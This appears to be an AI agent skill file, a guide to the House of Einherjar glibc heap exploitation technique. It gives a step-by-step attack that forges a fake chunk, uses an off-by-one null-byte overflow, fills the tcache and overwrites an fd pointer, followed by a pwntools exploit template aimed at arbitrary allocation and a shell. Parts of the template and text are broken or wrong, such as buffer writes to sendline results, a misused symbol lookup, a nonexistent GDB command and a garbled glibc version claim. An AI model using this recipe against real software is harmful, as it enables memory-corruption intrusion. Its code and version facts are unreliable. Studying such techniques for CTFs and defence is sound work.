| name | house-of-einherjar |
| description | How to perform House of Einherjar heap exploitation to allocate memory at arbitrary addresses. Use this skill whenever the user mentions heap exploitation, glibc heap attacks, arbitrary memory allocation, off-by-one overflow exploitation, tcache poisoning, fast bin attacks, or any CTF challenge involving heap manipulation. This is essential for binary exploitation tasks where you need to control malloc() return addresses. |
House of Einherjar Exploitation
A heap exploitation technique that allows allocating memory at almost any specific address by manipulating glibc's malloc allocator.
When to Use This
Use this technique when you have:
- An off-by-one overflow (specifically with null byte) from one chunk to the next
- A heap leak to discover chunk addresses
- Need to allocate at an arbitrary address (e.g., to overwrite function pointers, GOT entries, or achieve arbitrary write)
Core Concept
The attack creates a fake chunk that tricks malloc into thinking it's a valid free chunk, then uses consolidation to merge it with a real chunk, creating an overlapping chunk situation that enables arbitrary allocation.
Prerequisites
- Off-by-one overflow with null byte capability
- Heap leak to discover chunk addresses (required for fake chunk construction)
- glibc 2.30+ with tcache enabled (or 2.26-2.29 with fastbin)
Attack Setup
Chunk Layout
┌─────────────────────────────────────────────────────────────┐
│ Chunk A (fake) - controlled by attacker │
│ fd → points to itself (bypass sanity checks) │
│ bk → points to itself │
│ size → matches prev_size of Chunk B │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Chunk B - overflow target │
│ [overflowable data] │
│ size → normal size │
└─────────────────────────────────────────────────────────────┘
┌─────────────────────────────────────────────────────────────┐
│ Chunk C - consolidation target │
│ [normal data] │
│ size → normal size │
└─────────────────────────────────────────────────────────────┘
Step-by-Step Attack
Phase 1: Create Fake Chunk
- Allocate Chunk A (attacker-controlled)
- Write fake chunk metadata inside Chunk A:
fd pointer → points to Chunk A itself
bk pointer → points to Chunk A itself
size → will be set in Phase 2
fake_chunk_addr = chunk_a_addr + offset_to_fake_metadata
fake_chunk = p64(fake_chunk_addr)
fake_chunk += p64(fake_chunk_addr)
fake_chunk += p64(fake_size)
Phase 2: Prepare Consolidation
- Allocate Chunks B and C after Chunk A
- Trigger off-by-one overflow in Chunk B:
- Overwrite the null byte at end of Chunk B
- This clears the
PREV_INUSE bit in Chunk C's header
- Overwrite
prev_size with: chunk_c_addr - fake_chunk_addr
prev_size = chunk_c_addr - fake_chunk_addr
overflow_data = b'A' * (chunk_b_size - 1)
overflow_data += p64(prev_size)
overflow_data += b'\x00'
Critical: The prev_size written here must match the size field in the fake chunk A.
Phase 3: Fill Tcache
- Fill tcache by allocating and freeing chunks (typically 7 times for tcache limit)
- This ensures Chunk C goes to unsorted bin when freed, not tcache
for i in range(7):
alloc_chunk()
free_chunk()
Phase 4: Trigger Consolidation
- Free Chunk C
- malloc will consolidate Chunk C with the fake Chunk A (because PREV_INUSE is cleared)
- This creates a merged chunk starting at fake Chunk A's address
free(chunk_c)
Phase 5: Create Overlapping Chunk
- Allocate Chunk D - this will start at fake Chunk A's address and cover Chunk B
- Chunk D now overlaps with Chunk B, giving you control over Chunk B's metadata
chunk_d = malloc(fake_chunk_size + chunk_c_size)
Phase 6: Arbitrary Allocation (Optional Extension)
Now you can extend this with fast bin attack or tcache poisoning:
- Free Chunk B (now controlled via Chunk D overlap)
- Overwrite Chunk B's fd pointer to point to target address
- Allocate twice - second allocation returns target address
chunk_d[fd_offset] = p64(target_address)
free(chunk_b)
malloc()
chunk_at_target = malloc()
Common Pitfalls
| Issue | Solution |
|---|
prev_size doesn't match fake chunk size | Ensure both are identical |
| Tcache not filled | Free 7 chunks before freeing Chunk C |
| Alignment issues | Ensure fake chunk address is 16-byte aligned |
| Size sanity checks fail | Fake chunk size must be valid (aligned, not too small) |
| Heap leak not available | Find alternative leak (unsorted bin, double free, etc.) |
Example Exploit Template
from pwn import *
context.arch = 'amd64'
context.os = 'linux'
heap_addr = get_heap_leak()
chunk_a = heap_addr + 0x20
chunk_b = chunk_a + 0x30
chunk_c = chunk_b + 0x30
fake_chunk = chunk_a + 0x10
sendline(b'A' * 0x10 + p64(fake_chunk) + p64(fake_chunk) + p64(0x20))
prev_size = chunk_c - fake_chunk
sendline(b'B' * 0x2f + p64(prev_size) + b'\x00')
for _ in range(7):
sendline(b'X' * 0x20)
sendline(b'free')
sendline(b'C' * 0x20)
sendline(b'free')
chunk_d = sendline(b'D' * 0x50)
target = libc.sym['system'].address
chunk_d[0x10] = p64(target)
sendline(b'free')
sendline(b'alloc')
shell = sendline(b'alloc')
References
Related Techniques
- House of Force - Overwrite top chunk for arbitrary allocation
- Unsorted Bin Attack - Similar consolidation technique
- Tcache Poisoning - Poison tcache fd pointers
- Fastbin Attack - Poison fastbin fd pointers
Debugging Tips
-
Use GDB with heap visualization:
gdb ./binary
(gdb) heap analyze
(gdb) x/20gx 0x[chunk_address]
-
Check chunk metadata:
size & 0x1 = PREV_INUSE flag
size & 0x2 = IS_MMAPPED flag
size & 0x4 = NON_MAIN_ARENA flag
-
Verify consolidation:
- After freeing Chunk C, check if fake chunk was merged
- Look for enlarged chunk size in heap dump